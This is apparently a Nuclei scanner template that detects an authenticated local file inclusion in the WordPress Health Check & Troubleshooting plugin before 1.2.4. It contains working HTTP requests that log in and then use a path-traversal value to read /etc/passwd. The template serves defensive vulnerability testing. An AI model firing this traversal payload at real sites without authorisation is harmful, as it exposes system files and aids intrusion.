id: health-check-lfi info: name: WordPress Health Check & Troubleshooting <1.24 - Local File Inclusion author: DhiyaneshDK severity: high description: WordPress Health Check & Troubleshooting prior to 1.2.4 is vulnerable to local file inclusion. Exploitation does require authentication. remediation: Upgrade to version 1.2.4 or later. reference: - https://wpscan.com/vulnerability/5eecc4a7-0b44-495d-9352-78dccebfc72a - https://www.synacktiv.com/ressources/advisories/WordPress_Health_Check_1.2.3_Vulnerabilities.pdf classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cwe-id: CWE-22 metadata: max-request: 2 tags: lfi,wp,wordpress,wp-plugin,authenticated,lfr,wpscan http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=health-check-view-file-diff&file=../../../../../../etc/passwd cookie-reuse: true matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: word part: header words: - application/json - type: status status: - 200 # digest: 4a0a004730450220200efc4b1f66d717abab67ec2cac75fcdebb085cfd58c1a341218ef01de3005e0221008ee4039a68d7332ddd296411a18526bd7d3cef0f71f513c5f05e07a829059a84:922c64590222798bb761d5b6d8e72950